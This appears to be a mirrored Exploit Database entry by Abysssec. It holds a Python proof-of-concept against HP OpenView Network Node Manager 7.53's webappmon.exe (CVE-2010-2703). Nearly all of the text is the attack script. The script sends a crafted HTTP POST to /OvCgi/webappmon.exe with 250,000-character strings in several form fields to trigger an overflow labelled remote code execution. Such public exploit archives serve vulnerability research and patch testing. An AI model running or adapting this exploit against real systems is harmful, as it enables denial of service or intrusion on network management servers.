HP OpenView Network Node Manager (OV NNM) – ‘webappmon.exe execvp_nc’ Remote Code Execution

• Exploit Database
• 118 阅读

• 作者： Abysssec
  日期： 2010-09-06
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14916/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50

  &apos;&apos;&apos; ________ __ ____ |\/|/ __ \ /\| || |_ \ | \/ | || | /\ | || | |_) | | |\/| | || |/ /\ \| || |_ < | || | |__| / ____ \ |__| | |_) | |_||_|\____/_/\_\____/|____/   &apos;&apos;&apos;   &apos;&apos;&apos; Title:HP OpenView NNM webappmon.exe execvp_nc Remote Code Execution Version:OpenView Network Node Manager 7.53 Analysis :http://www.abysssec.com Vendor :http://www.hp.com Impact :Critical Contact:shahin [at] abysssec.com , info[at] abysssec.com Twitter:@abysssec CVE:CVE-2010-2703   http://www.exploit-db.com/moaub-6-hp-openview-nnm-webappmon-exe-execvp_nc-remote-code-execution/ &apos;&apos;&apos;   import socket,sys   ip = "localhost" port = 80   target = (ip, port)   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(target) exp = "A"*250000 headers = "POST /OvCgi/webappmon.exe HTTP/1.0\r\n" headers += "From: shahin@abysssec.com\r\n" headers += "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\r\n" headers += "Content-Type: application/x-www-form-urlencoded\r\n" arg = &apos;ins=%s&sel=%s&app=%s&act=%s&arg=%s&help=%s&cache=1600 HTTP/1.1\r\n&apos; % ("nowait", "localhost",exp,"ping",exp,exp) headers += &apos;Content-Length: %d\r\n&apos; %(len(arg)) headers += "\r\n" headers += arg s.sendall(str(headers)) while 1: buf = s.recv(1000) if not buf: break sys.stdout.write(buf)   s.close()